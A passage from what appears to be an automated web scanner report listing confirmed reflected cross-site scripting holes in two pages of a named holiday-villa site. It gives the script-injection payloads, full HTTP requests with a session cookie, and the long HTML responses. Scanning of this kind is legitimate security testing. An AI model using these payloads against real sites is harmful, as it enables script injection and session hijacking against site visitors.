= new Array(116, "Costa Del Azahar", 13);resort_array[52]=temparray;temparray = new Array(73, "Costa Del Sol", 13);resort_array[53]=temparray;temparray = new Array(520, "Costa Verde", 1);resort_array[54]=temparray;temparray = new Array(105, "Cote d`Azur /Cannes", 5);resort_array[55]=temparray;temparray = new Array(71, "Crete", 16);resort_array[56]=temparray;temparray = new Array(290, "Croatia", 45);resort_array[57]=temparray;temparray = new Array(20, "Cyprus", 3);resort_array[58]=temparray;temparray = new Array(538, "Dalyan", 18);resort_array[59]=temparray;temparray = new Array(614, "Datca", 18);resort_array[60]=temparray;temparray = new Array(555, "Devon", 53);resort_array[61]=temparray;temparray = new Array(173, "Dominican Republic", 12);resort_array[62]=temparray;temparray = new Array(12, "Dordogne", 5);resort_array[63]=temparray;temparray = new Array(287, "Dubai", 44);resort_array[64]=temparray;temparray = new Array(632, "Eastern Cape", 21);resort_array[65]=temparray;temparray = new Array(564, "Elba", 6);resort_array[66]=temparray;temparray = new Array(640, "Essaouira", 39);resort_array[67]=temparray;temparray = new Array(641, "Fez", 39);resort_array[68]=temparray;temparray = new Array(3, "Florida", 11);resort_array[69]=temparray;temparray = new Array(605, "French Alps", 5);resort_array[70]=temparray;temparray = new Array(92, "Fuerteventura", 13);resort_array[71]=temparray;temparray = new Array(514, "Galicia", 13);resort_array[72]=temparray;temparray = new Array(566, "Gascony", 5);resort_array[73]=temparray;temparray = new Array(635, "Gauteng", 21);resort_array[74]=temparray;temparray = new Array(5, "Gozo", 10);resort_array[75]=temparray;temparray = new Array(75, "Gran Canaria", 13);resort_array[76]=temparray;temparray = new Array(174, "Grenada", 12);resort_array[77]=temparray;temparray = new Array(610, "Gressoney", 6);resort_array[78]=temparray;temparray = new Array(619, "Hawaii", 11);resort_array[79]=temparray;temparray = new Array(556, "Herefordshire", 53);resort_array[80]=temparray;temparray = new Array(559, "Hydra", 16);resort_array[81]=temparray;temparray = new Array(620, "Ibiza North", 13);resort_array[82]=temparray;temparray = new Array(621, "Ibiza South", 13);resort_array[83]=temparray;temparray = new Array(516, "Ile de Re ", 5);resort_array[84]=temparray;temparray = new Array(611, "Ireland", 58);resort_array[85]=temparray;temparray = new Array(122, "Ithaca", 16);resort_array[86]=temparray;temparray = new Array(175, "Jamaica", 12);resort_array[87]=temparray;temparray = new Array(52, "Kalkan and Kas", 18);resort_array[88]=temparray;temparray = new Array(238, "Kea", 16);resort_array[89]=temparray;temparray = new Array(511, "Kefalonia", 16);resort_array[90]=temparray;temparray = new Array(149, "Kenya", 23);resort_array[91]=temparray;temparray = new Array(533, "Koh Phangan", 29);resort_array[92]=temparray;temparray = new Array(157, "Koh Samui", 29);resort_array[93]=temparray;temparray = new Array(598, "Koh Tao", 29);resort_array[94]=temparray;temparray = new Array(633, "Kwazulu Natal", 21);resort_array[95]=temparray;temparray = new Array(548, "Lagos", 1);resort_array[96]=temparray;temparray = new Array(510, "Lake Como", 6);resort_array[97]=temparray;temparray = new Array(303, "Lake Garda", 6);resort_array[98]=temparray;temparray = new Array(297, "Lake Maggiore", 6);resort_array[99]=temparray;temparray = new Array(547, "Lake Orta ", 6);resort_array[100]=temparray;temparray = new Array(129, "Languedoc", 5);resort_array[101]=temparray;temparray = new Array(14, "Lanzarote", 13);resort_array[102]=temparray;temparray = new Array(240, "Lazio", 6);resort_array[103]=temparray;temparray = new Array(298, "Le Marche", 6);resort_array[104]=temparray;temparray = new Array(121, "Lefkas", 16);resort_array[105]=temparray;temparray = new Array(562, "Lesvos", 16);resort_array[106]=temparray;temparray = new Array(196, "Liguria", 6);resort_array[107]=temparray;temparray = new Array(634, "Limpopo", 21);resort_array[108]=temparray;temparray = new Array(55, "Lisbon", 1);resort_array[109]=temparray;temparray = new Array(86, "Loire Valley", 5);resort_array[110]=temparray;temparray = new Array(571, "London", 53);resort_array[111]=temparray;temparray = new Array(11, "Lot and Tarn", 5);resort_array[112]=temparray;temparray = new Array(630, "Lot/Midi Pyrenees", 5);resort_array[113]=temparray;temparray = new Array(599, "Madara", 38);resort_array[114]=temparray;temparray = new Array(111, "Madeira", 1);resort_array[115]=temparray;temparray = new Array(138, "Mahe", 22);resort_array[116]=temparray;temparray = new Array(581, "Majorca North", 13);resort_array[117]=temparray;temparray = new Array(582, "Majorca South", 13);resort_array[118]=temparray;temparray = new Array(580, "Majorca West", 13);resort_array[119]=temparray;temparray = new Array(4, "Malta", 10);resort_array[120]=temparray;temparray = new Array(114, "Marbella", 13);resort_array[121]=temparray;temparray = new Array(541, "Marmaris and Area", 18);resort_array[122]=temparray;temparray = new Array(636, "Marrakech", 39);resort_array[123]=temparray;temparray = new Array(617, "Mauritius East", 20);resort_array[124]=temparray;temparray = new Array(615, "Mauritius North", 20);resort_array[125]=temparray;temparray = new Array(616, "Mauritius South", 20);resort_array[126]=temparray;temparray = new Array(618, "Mauritius West", 20);resort_array[127]=temparray;temparray = new Array(308, "Meganissi", 16);resort_array[128]=temparray;temparray = new Array(53, "Menorca", 13);resort_array[129]=temparray;temparray = new Array(574, "Monchique ", 1);resort_array[130]=temparray;temparray = new Array(569, "Mount Baker", 11);resort_array[131]=temparray;temparray = new Array(629, "Mpumalanga", 21);resort_array[132]=temparray;temparray = new Array(550, "Murcia", 13);resort_array[133]=temparray;temparray = new Array(264, "Mustique", 12);resort_array[134]=temparray;temparray = new Array(145, "Mykonos", 16);resort_array[135]=temparray;temparray = new Array(601, "Nassfeld", 43);resort_array[136]=temparray;temparray = new Array(301, "Neapolitan Riviera", 6);resort_array[137]=temparray;temparray = new Array(314, "Nevis", 12);resort_array[138]=temparray;temparray = new Array(159, "New South Wales", 30);resort_array[139]=temparray;temparray = new Array(307, "New Zealand", 32);resort_array[140]=temparray;temparray = new Array(557, "Norfolk and Suffolk", 53);resort_array[141]=temparray;temparray = new Array(299, "Normandy", 5);resort_array[142]=temparray;temparray = new Array(627, "North West", 21);resort_array[143]=temparray;temparray = new Array(578, "Northeast Thailand", 29);resort_array[144]=temparray;temparray = new Array(110, "Northern Portugal", 1);resort_array[145]=temparray;temparray = new Array(572, "Northumberland", 53);resort_array[146]=temparray;temparray = new Array(639, "Oualidia", 39);resort_array[147]=temparray;temparray = new Array(638, "Ouarzazate", 39);resort_array[148]=temparray;temparray = new Array(575, "Paris", 5);resort_array[149]=temparray;temparray = new Array(526, "Paros", 16);resort_array[150]=temparray;temparray = new Array(583, "Paxos (East)", 16);resort_array[151]=temparray;temparray = new Array(584, "Paxos (West)", 16);resort_array[152]=temparray;temparray = new Array(532, "Pelion Peninsula", 16);resort_array[153]=temparray;temparray = new Array(197, "Peloponnese", 16);resort_array[154]=temparray;temparray = new Array(568, "Phang-Nga", 29);resort_array[155]=temparray;temparray = new Array(506, "Phuket", 29);resort_array[156]=temparray;temparray = new Array(609, "Picardy", 5);resort_array[157]=temparray;temparray = new Array(43, "Portimao and Carvoeiro", 1);resort_array[158]=temparray;temparray = new Array(643, "Porto Heli ", 16);resort_array[159]=temparray;temparray = new Array(552, &quo..

- /index.php

/index.php CONFIRMED

http://theholidaygroup.com/index.php

Parameters

Parameter	Type	Value
idsearch	POST	'"--></style></script><script>alert(0x001817)</script>

Request

POST /index.php HTTP/1.1
Referer: http://theholidaygroup.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: theholidaygroup.com
Cookie: PHPSESSID=l6iaj5i41suet2oa84b9le98s7evm3sb
Content-Length: 94
Accept-Encoding: gzip, deflate

idsearch='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001817)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:18:38 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 18362
Content-Type: text/html

<title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><link rel="stylesheet" type="text/css" href="netawayfiles/stylesheet.css" /><script type="text/javascript" src="netawayfiles/jc.js"></script><script type="text/javascript">//This function is called when the country dropdown on the search bit is changed, if the selected item is show all, it will change the value in the resort to show all the resorts, otherwise, only those within the selected countryfunction dothelist(theform, countryid){ if (countryid=="%") fillList(theform.listresort, resort_array, '', ''); else fillList(theform.listresort, resort_array, '', countryid);}function bookmark(){ if(navigator.appName == 'Microsoft Internet Explorer' && parseInt(navigator.appVersion) >= 4) { window.external.AddFavorite('http://www.villavillas.com/', 'Villa Villas - Call +44 (0)1202 961300'); }}</script><style type="text/css">a.blick, a.blick:visited, a.blick:hover { color: black; text-decoration: none; cursor: hand; }body { scrollbar-3d-light-color : #00a0dd; scrollbar-arrow-color : #ffffff; scrollbar-base-color : #00a0dd; scrollbar-dark-shadow-color : Navy; scrollbar-face-color : #00a0dd; scrollbar-highlight-color : Navy; scrollbar-shadow-color : Navy;}</style></head><body><script type="text/javascript">country_array = new Array();resort_array = new Array();temparray = new Array(57, "");country_array[0]=temparray;temparray = new Array(11, "America");country_array[1]=temparray;temparray = new Array(30, "Australia");country_array[2]=temparray;temparray = new Array(43, "Austria");country_array[3]=temparray;temparray = new Array(51, "Bahrain");country_array[4]=temparray;temparray = new Array(38, "Bulgaria");country_array[5]=temparray;temparray = new Array(36, "Canada");country_array[6]=temparray;temparray = new Array(12, "Caribbean");country_array[7]=temparray;temparray = new Array(27, "China");country_array[8]=temparray;temparray = new Array(45, "Croatia");country_array[9]=temparray;temparray = new Array(25, "Cyclades Islands");country_array[10]=temparray;temparray = new Array(3, "Cyprus");country_array[11]=temparray;temparray = new Array(42, "Cyprus");country_array[12]=temparray;temparray = new Array(52, "Egypt");country_array[13]=temparray;temparray = new Array(55, "Espana");country_array[14]=temparray;temparray = new Array(5, "France");country_array[15]=temparray;temparray = new Array(16, "Greece");country_array[16]=temparray;temparray = new Array(60, "Hawaii");country_array[17]=temparray;temparray = new Array(24, "Ibiza");country_array[18]=temparray;temparray = new Array(28, "Indonesia");country_array[19]=temparray;temparray = new Array(58, "Ireland");country_array[20]=temparray;temparray = new Array(6, "Italy");country_array[21]=temparray;temparray = new Array(23, "Kenya");country_array[22]=temparray;temparray = new Array(33, "Latin America");country_array[23]=temparray;temparray = new Array(41, "Majorca");country_array[24]=temparray;temparray = new Array(50, "Malaysia");country_array[25]=temparray;temparray = new Array(10, "Malta");country_array[26]=temparray;temparray = new Array(20, "Mauritius");country_array[27]=temparray;temparray = new Array(19, "Mediterranean");country_array[28]=temparray;temparray = new Array(46, "Menorca");country_array[29]=temparray;temparray = new Array(37, "Mexico");country_array[30]=temparray;temparray = new Array(34, "Middle East");country_array[31]=temparray;temparray = new Array(39, "Morocco");country_array[32]=temparray;temparray = new Array(32, "New Zealand");country_array[33]=temparray;temparray = new Array(31, "Oceania");country_array[34]=temparray;temparray = new Array(59, "Oman");country_array[35]=temparray;temparray = new Array(56, "Panama");country_array[36]=temparray;temparray = new Array(1, "Portugal");country_array[37]=temparray;temparray = new Array(22, "Seychelles");country_array[38]=temparray;temparray = new Array(21, "South Africa");country_array[39]=temparray;temparray = new Array(35, "South America");country_array[40]=temparray;temparray = new Array(13, "Spain");country_array[41]=temparray;temparray = new Array(49, "Sri Lanka");country_array[42]=temparray;temparray = new Array(48, "Switzerland");country_array[43]=temparray;temparray = new Array(29, "Thailand");country_array[44]=temparray;temparray = new Array(47, "The Czech Republic");country_array[45]=temparray;temparray = new Array(18, "Turkey");country_array[46]=temparray;temparray = new Array(53, "UK");country_array[47]=temparray;temparray = new Array(44, "United Arab Emirates");country_array[48]=temparray;temparray = new Array(54, "Valencia");country_array[49]=temparray;temparray = new Array(300, "Abruzzo", 6);resort_array[0]=temparray;temparray = new Array(612, "Akyaka", 18);resort_array[1]=temparray;temparray = new Array(288, "Alanya", 18);resort_array[2]=temparray;temparray = new Array(519, "Albarella Island", 6);resort_array[3]=temparray;temparray = new Array(536, "Alentejo", 1);resort_array[4]=temparray;temparray = new Array(74, "Algarve", 1);resort_array[5]=temparray;temparray = new Array(563, "Almeria", 13);resort_array[6]=temparray;temparray = new Array(65, "Alonissos", 16);resort_array[7]=temparray;temparray = new Array(493, "Alsace/ Vosges", 5);resort_array[8]=temparray;temparray = new Array(542, "Altinkum", 18);resort_array[9]=temparray;temparray = new Array(227, "Amalfi Coast", 6);resort_array[10]=temparray;temparray = new Array(21, "Andalucia", 13);resort_array[11]=temparray;temparray = new Array(265, "Anguilla", 12);resort_array[12]=temparray;temparray = new Array(608, "Antalya", 18);resort_array[13]=temparray;temparray = new Array(266, "Antigua", 12);resort_array[14]=temparray;temparray = new Array(487, "Antipaxos", 16);resort_array[15]=temparray;temparray = new Array(81, "Aquitaine", 5);resort_array[16]=temparray;temparray = new Array(494, "Ardeche", 5);resort_array[17]=temparray;temparray = new Array(561, "Athenian Riviera ", 16);resort_array[18]=temparray;temparray = new Array(295, "Athens Area", 16);resort_array[19]=temparray;temparray = new Array(567, "Auvergne", 5);resort_array[20]=temparray;temparray = new Array(170, "Bahamas", 12);resort_array[21]=temparray;temparray = new Array(534, "Bahrain", 51);resort_array[22]=temparray;temparray = new Array(156, "Bali", 28);resort_array[23]=temparray;temparray = new Array(171, "Barbados", 12);resort_array[24]=temparray;temparray = new Array(576, "Barcelona ", 13);resort_array[25]=temparray;temparray = new Array(304, "Basilicata", 6);resort_array[26]=temparray;temparray = new Array(500, "Basque and Pyrenees", 5);resort_array[27]=temparray;temparray = new Array(560, "Bath", 53);resort_array[28]=temparray;temparray = new Array(263, "Biarritz and the Atlantic coast", 5);resort_array[29]=temparray;temparray = new Array(47, "Bodrum", 18);resort_array[30]=temparray;temparray = new Array(603, "Borneo", 50);resort_array[31]=temparray;temparray = new Array(505, "Brazil", 35);resort_array[32]=temparray;temparray = new Array(278, "British Virgin Islands", 12);resort_array[33]=temparray;temparray = new Array(84, "Brittany", 5);resort_array[34]=temparray;temparray = new Array(495, "Burgandy/Avergne region", 5);resort_array[35]=temparray;temparray = new Array(642, "California", 11);resort_array[36]=temparray;temparray = new Array(579, "Camps Bay", 21);resort_array[37]=temparray;temparray = new Array(626, "Cape Town", 21);resort_array[38]=temparray;temparray = new Array(551, "Capri", 6);resort_array[39]=temparray;temparray = new Array(503, "Catalonia", 13);resort_array[40]=temparray;temparray = new Array(625, "Chiang Mai ", 29);resort_array[41]=temparray;temparray = new Array(504, "Cilento Coast", 6);resort_array[42]=temparray;temparray = new Array(592, "Corfu (East)", 16);resort_array[43]=temparray;temparray = new Array(591, "Corfu (North)", 16);resort_array[44]=temparray;temparray = new Array(593, "Corfu (West)", 16);resort_array[45]=temparray;temparray = new Array(554, "Cornwall", 53);resort_array[46]=temparray;temparray = new Array(585, "Corsica (North)", 5);resort_array[47]=temparray;temparray = new Array(586, "Corsica (South)", 5);resort_array[48]=temparray;temparray = new Array(16, "Costa Blanca", 13);resort_array[49]=temparray;temparray = new Array(117, "Costa Brava", 13);resort_array[50]=temparray;temparray = new Array(577, "Costa Calida", 13);resort_array[51]=temparray;temparray = new Array(116, "Costa Del Azahar", 13);resort_array[52]=temparray;temparray = new Array(73, "Costa Del Sol", 13);resort_array[53]=temparray;temparray = new Array(520, "Costa Verde", 1);resort_array[54]=temparray;temparray = new Array(105, "Cote d`Azur /Cannes", 5);resort_array[55]=temparray;temparray = new Array(71, "Crete", 16);resort_array[56]=temparray;temparray = new Array(290, "Croatia", 45);resort_array[57]=temparray;temparray = new Array(20, "Cyprus", 3);resort_array[58]=temparray;temparray = new Array(538, "Dalyan", 18);resort_array[59]=temparray;temparray = new Array(614, "Datca", 18);resort_array[60]=temparray;temparray = new Array(555, "Devon", 53);resort_array[61]=temparray;temparray = new Array(173, "Dominican Republic", 12);resort_array[62]=temparray;temparray = new Array(12, "Dordogne", 5);resort_array[63]=temparray;temparray = new Array(287, "Dubai", 44);resort_array[64]=temparray;temparray = new Array(632, "Eastern Cape", 21);resort_array[65]=temparray;temparray = new Array(564, "Elba", 6);resort_array[66]=temparray;temparray = new Array(640, "Essaouira", 39);resort_array[67]=temparray;temparray = new Array(641, "Fez", 39);resort_array[68]=temparray;temparray = new Array(3, "Florida", 11);resort_array[69]=temparray;temparray = new Array(605, "French Alps", 5);resort_array[70]=temparray;temparray = new Array(92, "Fuerteventura", 13);resort_array[71]=temparray;temparray = new Array(514, "Galicia", 13);resort_array[72]=temparray;temparray = new Array(566, "Gascony", 5);resort_array[73]=temparray;temparray = new Array(635, "Gauteng", 21);resort_array[74]=temparray;temparray = new Array(5, "Gozo", 10);resort_array[75]=temparray;temparray = new Array(75, "Gran Canaria", 13);resort_array[76]=temparray;temparray = new Array(174, "Grenada", 12);resort_array[77]=temparray;temparray = new Array(610, "Gressoney", 6);resort_array[78]=temparray;temparray = new Array(619, "Hawaii", 11);resort_array[79]=temparray;temparray = new Array(556, "Herefordshire", 53);resort_array[80]=temparray;temparray = new Array(559, "Hydra", 16);resort_array[81]=temparray;temparray = new Array(620, "Ibiza North", 13);resort_array[82]=temparray;temparray = new Array(621, "Ibiza South", 13);resort_array[83]=temparray;temparray = new Array(516, "Ile de Re ", 5);resort_array[84]=temparray;temparray = new Array(611, "Ireland", 58);resort_array[85]=temparray;temparray = new Array(122, "Ithaca", 16);resort_array[86]=temparray;temparray = new Array(175, "Jamaica", 12);resort_array[87]=temparray;temparray = new Array(52, "Kalkan and Kas", 18);resort_array[88]=temparray;temparray = new Array(238, "Kea", 16);resort_array[89]=temparray;temparray = new Array(511, "Kefalonia", 16);resort_array[90]=temparray;temparray = new Array(149, "Kenya", 23);resort_array[91]=temparray;temparray = new Array(533, "Koh Phangan", 29);resort_array[92]=temparray;temparray = new Array(157, "Koh Samui", 29);resort_array[93]=temparray;temparray = new Array(598, "Koh Tao", 29);resort_array[94]=temparray;temparray = new Array(633, "Kwazulu Natal", 21);resort_array[95]=temparray;temparray = new Array(548, "Lagos", 1);resort_array[96]=temparray;temparray = new Array(510, "Lake Como", 6);resort_array[97]=temparray;temparray = new Array(303, "Lake Garda", 6);resort_array[98]=temparray;temparray = new Array(297, "Lake Maggiore", 6);resort_array[99]=temparray;temparray = new Array(547, "Lake Orta ", 6);resort_array[100]=temparray;temparray = new Array(129, "Languedoc", 5);resort_array[101]=temparray;temparray = new Array(14, "Lanzarote", 13);resort_array[102]=temparray;temparray = new Array(240, "Lazio", 6);resort_array[103]=temparray;temparray = new Array(298, "Le Marche", 6);resort_array[104]=temparray;temparray = new Array(121, "Lefkas", 16);resort_array[105]=temparray;temparray = new Array(562, "Lesvos", 16);resort_array[106]=temparray;temparray = new Array(196, "Liguria", 6);resort_array[107]=temparray;temparray = new Array(634, "Limpopo", 21);resort_array[108]=temparray;temparray = new Array(55, "Lisbon", 1);resort_array[109]=temparray;temparray = new Array(86, "Loire Valley", 5);resort_array[110]=temparray;temparray = new Array(571, "London", 53);resort_array[111]=temparray;temparray = new Array(11, "Lot and Tarn", 5);resort_array[112]=temparray;temparray = new Array(630, "Lot/Midi Pyrenees", 5);resort_array[113]=temparray;temparray = new Array(599, "Madara", 38);resort_array[114]=temparray;temparray = new Array(111, "Madeira", 1);resort_array[115]=temparray;temparray = new Array(138, "Mahe", 22);resort_array[116]=temparray;temparray = new Array(581, "Majorca North", 13);resort_array[117]=temparray;temparray = new Array(582, "Majorca South", 13);resort_array[118]=temparray;temparray = new Array(580, "Majorca West", 13);resort_array[119]=temparray;temparray = new Array(4, "Malta", 10);resort_array[120]=temparray;temparray = new Array(114, "Marbella", 13);resort_array[121]=temparray;temparray = new Array(541, "Marmaris and Area", 18);resort_array[122]=temparray;temparray = new Array(636, "Marrakech", 39);resort_array[123]=temparray;temparray = new Array(617, "Mauritius East", 20);resort_array[124]=temparray;temparray = new Array(615, "Mauritius North", 20);resort_array[125]=temparray;temparray = new Array(616, "Mauritius South", 20);resort_array[126]=temparray;temparray = new Array(618, "Mauritius West", 20);resort_array[127]=temparray;temparray = new Array(308, "Meganissi", 16);resort_array[128]=temparray;temparray = new Array(53, "Menorca", 13);resort_array[129]=temparray;temparray = new Array(574, "Monchique ", 1);resort_array[130]=temparray;temparray = new Array(569, "Mount Baker", 11);resort_array[131]=temparray;temparray = new Array(629, "Mpumalanga", 21);resort_array[132]=temparray;temparray = new Array(550, "Murcia", 13);resort_array[133]=temparray;temparray = new Array(264, "Mustique", 12);resort_array[134]=temparray;temparray = new Array(145, "Mykonos", 16);resort_array[135]=temparray;temparray = new Array(601, "Nassfeld", 43);resort_array[136]=temparray;temparray = new Array(301, "Neapolitan Riviera", 6);resort_array[137]=temparray;temparray = new Array(314, "Nevis", 12);resort_array[138]=temparray;temparray = new Array(159, "New South Wales", 30);resort_array[139]=temparray;temparray = new Array(307, "New Zealand", 32);resort_array[140]=temparray;temparray = new Array(557, "Norfolk and Suffolk", 53);resort_array[141]=temparray;temparray = new Array(299, "Normandy", 5);resort_array[142]=temparray;temparray = new Array(627, "North West", 21);resort_array[143]=temparray;temparray = new Array(578, "Northeast Thailand", 29);resort_array[144]=temparray;temparray = new Array(110, "Northern Portugal", 1);resort_array[145]=temparray;temparray = new Array(572, "Northumberland", 53);resort_array[146]=temparray;temparray = new Array(639, "Oualidia", 39);resort_array[147]=temparray;temparray = new Array(638, "Ouarzazate", 39);resort_array[148]=temparray;temparray = new Array(575, "Paris", 5);resort_array[149]=temparray;temparray = new Array(526, "Paros", 16);resort_array[150]=temparray;temparray = new Array(583, "Paxos (East)", 16);resort_array[151]=temparray;temparray = new Array(584, "Paxos (West)", 16);resort_array[152]=temparray;temparray = new Array(532, "Pelion Peninsula", 16);resort_array[153]=temparray;temparray = new Array(197, "Peloponnese", 16);resort_array[154]=temparray;temparray = new Array(568, "Phang-Nga", 29);resort_array[155]=temparray;temparray = new Array(506, "Phuket", 29);resort_array[156]=temparray;temparray = new Array(609, "Picardy", 5);resort_array[157]=temparray;temparray = new Array(43, "Portimao and Carvoeiro", 1);resort_array[158]=temparray;temparray = new Array(643, "Porto Heli ", 16);resort_array[159]=temparray;temparray = new Array(552, &quo..

- /villa_deals.php

/villa_deals.php CONFIRMED

http://theholidaygroup.com/villa_deals.php?offer_id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eal..

Parameters

Parameter	Type	Value
offer_id	GET	'"--></style></script><script>alert(0x001837)</script>

Request

GET /villa_deals.php?offer_id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x001837)%3C/script%3E HTTP/1.1
Referer: http://theholidaygroup.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=l6iaj5i41suet2oa84b9le98s7evm3sb
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:18:41 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8053
Content-Type: text/html

<html><title>Villa Villas Deals, Bargain Villas, Luxury Villas</title> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><style type="text/css">body { background-image: url("images/bg/gradient.jpg"); background-repeat: repeat-x; }.boxed { width: 387px; height: 60px; border: 1px solid C0C0C0; font-family: Arial; font-size: 13px; margin: 10px; padding: 5px; display: inline; cursor: hand; }.title { font-family: Arial; font-size: 13px; color: white; text-decoration: none; font-weight: bold; }.small { font-family: Arial; font-size: 11px; color: white; text-decoration: none; }.highlight { color: red; font-weight: bold; display: inline; }.mainheader { margin-top: 5px; margin-bottom: 0px; text-align: center; font-family: Arial; font-size: 24px; color: white; }</style><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a 